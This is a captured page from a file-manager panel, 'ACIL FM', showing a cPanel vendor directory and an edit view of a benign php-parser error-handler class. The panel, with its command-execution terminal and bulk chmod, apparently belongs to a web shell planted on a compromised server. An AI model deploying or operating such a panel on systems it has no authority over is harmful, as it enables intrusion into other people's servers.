ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler
/
opt
cpanel
ea-wappspector
vendor
nikic
php-parser
lib
PhpParser
ErrorHandler
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Collecting.php
869 B
chmod
View
DL
Edit
Rename
Delete
Throwing.php
368 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Collecting.php
<?php declare(strict_types=1); namespace PhpParser\ErrorHandler; use PhpParser\Error; use PhpParser\ErrorHandler; /** * Error handler that collects all errors into an array. * * This allows graceful handling of errors. */ class Collecting implements ErrorHandler { /** @var Error[] Collected errors */ private array $errors = []; public function handleError(Error $error): void { $this->errors[] = $error; } /** * Get collected errors. * * @return Error[] */ public function getErrors(): array { return $this->errors; } /** * Check whether there are any errors. */ public function hasErrors(): bool { return !empty($this->errors); } /** * Reset/clear collected errors. */ public function clearErrors(): void { $this->errors = []; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply